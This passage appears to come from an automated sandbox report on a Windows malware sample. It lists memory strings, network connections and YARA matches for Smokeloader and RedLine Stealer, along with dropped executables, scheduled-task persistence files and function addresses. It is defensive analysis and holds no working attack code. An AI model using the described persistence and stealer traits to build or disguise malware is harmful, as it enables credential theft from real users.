Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2196044703.000000002EDF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2196044703.000000002EDF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2196044703.000000002EDF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/x1024
Source: file.exe, 00000000.00000003.2196044703.000000002EDF1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001F.00000002.2986979517.000001B116409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001F.00000002.2986979517.000001B116409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/startQuery/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2196044703.000000002EDF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.2196044703.000000002EDF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/n=c
Source: firefox.exe, 0000001F.00000002.2982408855.000001B115D80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3000161016.000001B1177A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001F.00000002.2952630491.000001B104590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000001E.00000002.2909846838.000001F5FECF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: 8e8f4571c5.exe, 00000018.00000002.3383993209.0000000006A26000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2903172052.0000018A47990000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2952630491.000001B104590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 0000001F.00000002.2952598665.000001B104580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountH
Source: firefox.exe, 0000001F.00000003.2909414064.000001B111826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHRE
Source: firefox.exe, 0000001F.00000003.2909698266.000001B107465000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2959579682.000001B107486000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909956595.000001B107486000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2959579682.000001B107465000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909956595.000001B107465000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2910203943.000001B107486000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909110092.000001B107465000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909110092.000001B107486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account_shouldViewDownloadInternally/
Source: firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounthttps://www.youtube.com/account
Source: 8e8f4571c5.exe, 0000001C.00000002.3374507339.0000000005388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountr
Source: firefox.exe, 0000001F.00000002.2986979517.000001B116409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounttipShownCount.searchTip_onboard
Source: firefox.exe, 0000001D.00000002.2903172052.0000018A47990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountzA
Source: 8e8f4571c5.exe, 0000001C.00000002.3374507339.0000000005388000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account~
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001F.00000002.2982408855.000001B115DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001F.00000002.2982408855.000001B115DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49852 version: TLS 1.2

Source: 8e8f4571c5.exe, 00000018.00000002.3331828865.0000000001D97000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WINAPI_GETRAWINPUTDATAI

memstr_0a7d6275-2

Source: Yara match	File source: Process Memory Space: 8e8f4571c5.exe PID: 8136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8e8f4571c5.exe PID: 6484, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000015.00000002.2719081231.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000022.00000002.2994648505.0000000002620000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.2828964278.00000000026F2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2496144397.000000000273D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2495938996.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000015.00000002.2718459013.000000000254D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.2828820044.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000022.00000002.2994271346.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Binary is likely a compiled AutoIt script file

Source: 8e8f4571c5.exe, 00000018.00000002.3307114026.0000000000622000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_86eb88e9-9
Source: 8e8f4571c5.exe, 00000018.00000002.3307114026.0000000000622000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f37d7c6e-6
Source: 8e8f4571c5.exe, 0000001C.00000002.3307370321.0000000000622000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ea29f676-6
Source: 8e8f4571c5.exe, 0000001C.00000002.3307370321.0000000000622000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_4b1059e0-7

PE file contains section with special chars

Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name:
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name: .idata
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name:
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name:
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name: .idata
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name:
Source: explorti.exe.5.dr	Static PE information: section name:
Source: explorti.exe.5.dr	Static PE information: section name: .idata
Source: explorti.exe.5.dr	Static PE information: section name:
Source: axplong.exe.8.dr	Static PE information: section name:
Source: axplong.exe.8.dr	Static PE information: section name: .idata
Source: axplong.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C73B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C73B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C73B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6DF280

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	File created: C:\Windows\Tasks\explorti.job			Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	File created: C:\Windows\Tasks\axplong.job			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D35A0	0_2_6C6D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74545C	0_2_6C74545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E5440	0_2_6C6E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74542B	0_2_6C74542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C715C10	0_2_6C715C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722C10	0_2_6C722C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74AC00	0_2_6C74AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C716CF0	0_2_6C716CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DD4E0	0_2_6C6DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E64C0	0_2_6C6E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FD4D0	0_2_6C6FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7334A0	0_2_6C7334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73C4A0	0_2_6C73C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6C80	0_2_6C6E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700512	0_2_6C700512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EFD00	0_2_6C6EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FED10	0_2_6C6FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7385F0	0_2_6C7385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710DD0	0_2_6C710DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C746E63	0_2_6C746E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DC670	0_2_6C6DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C713E50	0_2_6C713E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F4640	0_2_6C6F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722E4E	0_2_6C722E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9E50	0_2_6C6F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C739E30	0_2_6C739E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C717E10	0_2_6C717E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C725600	0_2_6C725600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7476E3	0_2_6C7476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DBEF0	0_2_6C6DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EFEF0	0_2_6C6EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C734EA0	0_2_6C734EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73E680	0_2_6C73E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F5E90	0_2_6C6F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C717710	0_2_6C717710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E9F00	0_2_6C6E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706FF0	0_2_6C706FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DDFE0	0_2_6C6DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7277A0	0_2_6C7277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71F070	0_2_6C71F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8850	0_2_6C6F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FD850	0_2_6C6FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71B820	0_2_6C71B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C724820	0_2_6C724820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E7810	0_2_6C6E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC0E0	0_2_6C6FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7158E0	0_2_6C7158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7450C7	0_2_6C7450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7060A0	0_2_6C7060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72B970	0_2_6C72B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74B170	0_2_6C74B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ED960	0_2_6C6ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FA940	0_2_6C6FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70D9B0	0_2_6C70D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DC9A0	0_2_6C6DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C715190	0_2_6C715190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C732990	0_2_6C732990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C719A60	0_2_6C719A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71E2F0	0_2_6C71E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F1AF0	0_2_6C6F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718AC0	0_2_6C718AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C742AB0	0_2_6C742AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D22A0	0_2_6C6D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C704AA0	0_2_6C704AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ECAB0	0_2_6C6ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74BA90	0_2_6C74BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EC370	0_2_6C6EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D5340	0_2_6C6D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71D320	0_2_6C71D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7453C8	0_2_6C7453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DF380	0_2_6C6DF380
